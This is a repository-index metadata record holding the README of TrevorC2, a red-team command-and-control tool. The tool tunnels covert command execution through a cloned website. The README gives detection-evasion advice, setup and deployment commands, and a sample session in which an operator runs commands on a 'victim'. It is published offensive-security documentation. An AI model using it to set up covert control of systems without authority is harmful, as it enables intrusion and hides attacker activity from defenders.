{"id":13454432,"url":"https://github.com/trustedsec/trevorc2","last_synced_at":"2025-10-05T20:25:06.388Z","repository":{"id":39917735,"uuid":"108566111","full_name":"trustedsec/trevorc2","owner":"trustedsec","description":"TrevorC2 is a legitimate website (browsable) that tunnels client/server communications for covert command execution.","archived":false,"fork":false,"pushed_at":"2022-01-31T20:16:24.000Z","size":128,"stargazers_count":1268,"open_issues_count":2,"forks_count":270,"subscribers_count":57,"default_branch":"master","last_synced_at":"2025-04-08T13:14:07.550Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/trustedsec.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.txt","contributing":null,"funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2017-10-27T15:59:28.000Z","updated_at":"2025-04-07T03:15:20.000Z","dependencies_parsed_at":"2022-08-09T15:36:27.928Z","dependency_job_id":null,"html_url":"https://github.com/trustedsec/trevorc2","commit_stats":null,"previous_names":[],"tags_count":16,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/trustedsec%2Ftrevorc2","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/trustedsec%2Ftrevorc2/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/trustedsec%2Ftrevorc2/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/trustedsec%2Ftrevorc2/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/trustedsec","download_url":"https://codeload.github.com/trustedsec/trevorc2/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":254459088,"owners_count":22074605,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-07-31T08:00:54.027Z","updated_at":"2025-10-05T20:25:01.334Z","avatar_url":"https://github.com/trustedsec.png","language":"C","readme":"trevorc2\n=======\n\n# TrevorC2 - Command and Control via Legitimate Behavior over HTTP\n\nWritten by: Dave Kennedy (@HackingDave)\nWebsite: https://www.trustedsec.com\n\nNote that this is a very early release - heavy randomization and encryption to be added soon.\n\nTrevorC2 is a client/server model for masking command and control through a normally browsable website. Detection becomes much harder as time intervals are different and does not use POST requests for data exfil. \n\n\n           ,  .'''''.  ...    ''''',  .'           \n            ','     ,.MMMM;.;'      '.             \n             ;;    ;MMMMMMMMM;     ;;'             \n            :'M:  ;MMMMMMMMMMM;.  :M':             \n            : M:  MMMMMMMMMMMMM:  :M  .           \n           .' M:  MMMMMMMMMMMMM:  :M. ;           \n           ; :M'  :MMMMMMMMMMMM'  'M: :           \n           : :M: .;\"MMMMMMMMM\":;. ,M: :           \n           :  ::,MMM;.M\":::M.;MMM ::' :           \n         ,.;    ;MMMMMM;:MMMMMMMM:    :,.         \n         MMM.;.,MMMMMMMM;MMMMMMMM;.,;.MMM         \n         M':''':MMMMMMMMM;MMMMMMMM: \"': M         \n         M.:   ;MMMMMMMMMMMMMMMMMM;   : M         \n         :::   MMMMMMMMMMM;MMMMMMMM   ::M         \n        ,'';   MMMMMMMMMMMM:MMMMMMM   :'\".         \n      ,'   :   MMMMMMMMMMMM:MMMMMMM   :   '.       \n     '     :  'MMMMMMMMMMMMM:MMMMMM   ;     '     \n     ,.....;.. MMMMMMMMMMMMM:MMMMMM ..:....;.     \n     :MMMMMMMM MMMMMMMMMMMMM:MMMMMM MMMMMMMM:     \n     :MM''':\"\" MMMMMMMMMMMMM:MMMMMM \"\": \"'MM:     \n      MM:   :  MMMMMMMMMMMMM:MMMMMM  ,'  :MM       \n      'MM   :  :MMMMMMMMMMMM:MMMMM:  :   ;M:       \n       :M;  :  'MMMMMMMMMMMMMMMMMM'  :  ;MM       \n       :MM. :   :MMMMMMMMMM;MMMMM:   :  MM:       \n        :M: :    MMMMMMMMM'MMMMMM'   : :MM'       \n        'MM :    \"MMMMMMM:;MMMMM\"   ,' ;M\"         \n         'M  :    \"\"''':;;;'''\"\"    :  M:         \n         ;'  :     \"MMMMMMMM;.\"     :  \"\".         \n       ,;    :      :MMMMMMM:;.     :    '.       \n      :'     :    ,MM'''\"\"''':M:    :     ';       \n     ;'      :    ;M'         MM.   :       ;.     \n\nThere are two components to TrevorC2 - the client and the server. The client can be configured to be used with anything. In this example it's coded in Python but can easily be ported to C#, PowerShell, or whatever you want. Currently the trevorc2_client.py supports Windows, MacOS, and Linux. You can always byte compile the Windows one to get an executable, but preference would be to use Windows without having to drop an executable as a stager.\n\nThe way that the server works is by tucking away a parameter thats right before the \u003c/body\u003e parameter. This is completely configurable, and it's recommended you configure everything to be unique in order to evade detection. Here is the workflow:\n\n    1. trevor2_server.py - edit the file first, and customize, what website you want to clone, etc. The server will clone a website of your choosing and stand up a server. This server is browsable by anyone and looks like a legitimate website. Contained within the source is parameter that (again is configurable), which contains the instructions for the client. Once a client connects, it searches for that parameter, then uses it to execute commands.\n    2. trevor2_client.py - all you need in any configurable option is the ability to call out to a website, parse some basic data, and then execute a command and then put the results in a base64 encoded query string parameter to the site. That's it, not hard. \n    3. trevor2_client.ps1 - powershell implementation of trevor2_client.py, this allows you to use native PowerShell to interact with Trevor2_Server.\n\n## Installation\n\npip install -r requirements.txt\n\n## Usage\n\nFirst edit the trevor2_server.py - change the configuration options and site to clone.\n\npython trevor2_server.py\n\nNext, edit the trevor2_client.py or ps1 - change the configuration and system you want it to communicate back to. \n\npython trevor2_client.py or .\\trevor2_client.ps1\n\n## Session Management\n\nTrevorC2 supports the ability to handle multiple shells coming from different hostnames. The way TrevorC2 works is it will identify new hostnames as sessions. You can interact with the sessions once you execute a command. If you have multiple sessions, you can type a command and interact with that session based on the session number stored globally. \n\nWhen first starting TrevorC2, you can type help or ? for additional information. Basic command usage is \"list\" which will list any active shells or none at all, or \"interact \u003csession_id\u003e\" to interact with the shell you want. \n\nYou can always type back/exit within a shell, it will still remain active and not actually kill the shell.\n\nExample below:\n\n```\nroot@stronghold:/home/relik/Desktop/git/trevorc2# python trevorc2_server.py \n\nTrevorC2 - Legitimate Website Covert Channel\nWritten by: David Kennedy (@HackingDave)\nhttps://www.trustedsec.com\n[*] Cloning website: https://www.google.com\n[*] Site cloned successfully.\n[*] Starting Trevor C2 Server...\n[*] Next, enter the command you want the victim to execute.\n[*] Client uses random intervals, this may take a few.\n[*] Type help for usage. Example commands, list, interact.\n\nTrevor C2 shell\ntrevorc2\u003ehelp\n\nDocumented commands (type help \u003ctopic\u003e):\n========================================\nexit  help  interact  list  servercmd\n\ntrevorc2\u003ehelp list\nDescription: Lists all available agents\nUsage: list\n\ntrevorc2\u003elist\nNo available Agents. :-(\n\ntrevorc2\u003e\n*** Received connection from 127.0.0.1 and hostname stronghold with communication sid pSNIRFgTuZnCdHN for TrevorC2.\n\ntrevorc2\u003elist\nid  hostname                ip address        communication_sessionid\n1   stronghold              127.0.0.1         pSNIRFgTuZnCdHN\n\ntrevorc2\u003ehelp interact\nDescription: Starts an interactive shell with agent\nUsage: interact \u003cid\u003e\n\ntrevorc2\u003einteract 1\n[*] Dropping into trevorc2 shell...\n[*] Use exit or back to select other shells\nstronghold:trevorc2\u003eifconfig\n[*] Waiting for command to be executed, be patient, results will be displayed here...\n[*] Received response back from client...\n=-=-=-=-=-=-=-=-=-=-=\n(HOSTNAME: stronghold\nCLIENT: 127.0.0.1)\nens33     Link encap:Ethernet  HWaddr 00:0c:29:63:7c:67  \n          inet addr:172.16.37.132  Bcast:172.16.37.255  Mask:255.255.255.0\n          inet6 addr: fe80::4b6b:fb52:f109:a7af/64 Scope:Link\n          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1\n          RX packets:1400907 errors:0 dropped:0 overruns:0 frame:0\n          TX packets:2588882 errors:0 dropped:0 overruns:0 carrier:0\n          collisions:0 txqueuelen:1000 \n          RX bytes:835091244 (835.0 MB)  TX bytes:2623070556 (2.6 GB)\n\nlo        Link encap:Local Loopback  \n          inet addr:127.0.0.1  Mask:255.0.0.0\n          inet6 addr: ::1/128 Scope:Host\n          UP LOOPBACK RUNNING  MTU:65536  Metric:1\n          RX packets:453640 errors:0 dropped:0 overruns:0 frame:0\n          TX packets:453640 errors:0 dropped:0 overruns:0 carrier:0\n          collisions:0 txqueuelen:1000 \n          RX bytes:211565776 (211.5 MB)  TX bytes:211565776 (211.5 MB)\n\n\nstronghold:trevorc2\u003eback\n\ntrevorc2\u003ehelp servercmd\nDescription: Run command on the server\nUsage: servercmd \u003ccommand\u003e\nExample: servercmd ifconfig\n\ntrevorc2\u003eservercmd hostname\nPwnServer\n\ntrevorc2\u003eexit\n[*] Exiting TrevorC2... \n```\n\n## Dockerfile\nUses an alpine-based Dockerfile to deploy trevorC2, handy for quick deployment on cloud providers.  \nExample below:\n\n```bash\ngit clone https://github.com/trustedsec/trevorc2.git\ncd trevorc2\n# At this point, setting up docker-machine to remotly deploy works great\ndocker build -t trevorc2 . \ndocker run -it -p 80:80 -p 443:443 trevorc2\n```\n\n## Variables configuration\n\nIt is important to change the variables that are presented in each of the scripts. Especially the SITE_PATH_QUERY and encryption key. I would also recommend looking at the REDIRECT option. Instead of cloning a website, you have another option which will redirect the victim host that may be browsing the site to investigate to the legitimate site. Basically when someone visits the site, it'll just redirect them to the site you want cloned. Change the cloned site from google for example to a different site and turn redirect to ON.\n\n## TODO\n\n#### Add ability for longer than 2048 data output. Query string parameter length limited size length.\n#### Add do_POST support for POST exfil on longer data.\n#### Add upload/download functionality.\n","funding_links":[],"categories":["\u003ca id=\"ec8ac76dec379ff452f681a4504444b8\"\u003e\u003c/a\u003e工具","\u003ca id=\"1a9934198e37d6d06b881705b863afc8\"\u003e\u003c/a\u003e通信\u0026\u0026代理\u0026\u0026反向代理\u0026\u0026隧道","\u003ca id=\"01e6651181d405ecdcd92a452989e7e0\"\u003e\u003c/a\u003e工具","\u003ca id=\"5dd93fbc2f2ebc8d98672b2d95782af3\"\u003e\u003c/a\u003e工具","Tools","Exfiltration Tools","Network Tools"],"sub_categories":["\u003ca id=\"dbd38a8d8a1e246cd8628a34002c5fe7\"\u003e\u003c/a\u003e新添加","\u003ca id=\"56acb7c49c828d4715dce57410d490d1\"\u003e\u003c/a\u003e未分类-Proxy","\u003ca id=\"9d6789f22a280f5bb6491d1353b02384\"\u003e\u003c/a\u003e隧道\u0026\u0026穿透","\u003ca id=\"98a851c8e6744850efcb27b8e93dff73\"\u003e\u003c/a\u003eC\u0026C","Open Source","Zealandia","Forensics","Exfiltration Tools"],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ftrustedsec%2Ftrevorc2","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Ftrustedsec%2Ftrevorc2","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ftrustedsec%2Ftrevorc2/lists"}